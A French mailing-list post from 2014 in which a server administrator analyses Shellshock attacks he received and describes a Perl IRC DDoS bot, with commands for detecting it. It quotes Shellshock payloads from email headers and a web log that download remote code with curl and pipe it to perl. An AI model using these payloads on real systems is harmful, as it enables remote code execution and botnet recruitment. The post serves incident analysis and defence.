[gull] Shellshock et DDos irc bot perl...

felix felix at f-hauri.ch
Mon Oct 27 18:41:52 CET 2014


Bonjour,

Tout d'abord, j'ai reçu un mail étrange (voire suspect;-). En effet,
tous les champs: ``To, References, Cc, From, Subject, Date, Message-ID,
Comments, Keywords, Resent-Date et Resent-From'' contiennent la même chose,
à savoir:

   () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt;lwp-do...

Bref, un petit malin aimerait que je télécharge un truc et que je le lance...
Malheureusement, le truc en question n'est plus disponible à l'adresse citée.

Bon.

Mais vendredi, j'ai trouvé dans les logs d'un de mes serveurs:

... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0"  403 2132 \
  "() { :; }; curl http://202.143.x.x/lib21/index.cgi | perl" \
  "() { :; }; curl http://202.143.x.x/lib21/index.cgi | perl"

Donc le user-agent et le referer contiennent la même chose...

Mais cette fois, je suis arrivé suffisament tôt pour le charger.

Après dé-obfuscation:

$ curl http://202.143.x.x/... | sed s/eval/print/ | perl > bot.pl

J'ai trouvé un ``outil'' intéressant. J'ai donc joué un peu avec afin de
comprendre autant que possible, les tenants et aboutissants.

En résumé et en l'état:

 - Le script n'est pas installé, par conséquent: il meurre si on reboot.
   Attention à ce qui peut être modifié avec le droits de l'utilisateur
   atteint, en particulier cron et at... Notez que si ``root'' est atteint
   ou si un moyen ``d'élévation de privilège'' existe, alors la machine
   devient **entièrement** suspecte.)
 - Il s'agit d'un ``irc bot'' qui se logge sur un serveur IRC pour
   executer ce qu'on pourra leur demander via ce channel IRC. Donc
   une connection TCP est ouverte lorsque le script fonctionne.
 - Il se masque autant que possible et prend une apparence différente
   à chaque execution.
 - Il se fork lui-même, afin de libérer la session qui l'a initié.
   (Il se désolidarise de son parent)

Pour le mettre en évidence:

 # ls -l /proc/*/exe | grep perl
 Listera les process utilisant perl sans tenir compte de la cmdline.

 # netstat -tanp | grep :8080
 Listera les process utilisant le port 8080. Si le port 8080 est
 utilisé du coté distant, alors c'est lui.
 Nota: le port 8080 est utilisé par CETTE implémentation de ce bot, mais
 n'importe quel autre port peut être utilisé. Cependant, codé dans le script,
 ce port est le même pour toute une ``génération'' de ce script.
  
 # ps --user www-data ho pid,ppid
 Un process www-data dont le parent pid est `1' est suspect.

 # top
 Le script n'est pas parfait, il a tendence à consommer bcp de cpu.

Etc...

En fait, il existe une pléthore de truc à faire, mais cela dépend de
l'environnement de la victime (serveur web, serveur mail, desktop...)

Si ce sujet interesse, je peux organiser un petit workshop avec
une présentation de ce script:

  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team

-- 
 Félix Hauri  -  <felix at f-hauri.ch>  -  http://www.f-hauri.ch


More information about the gull mailing list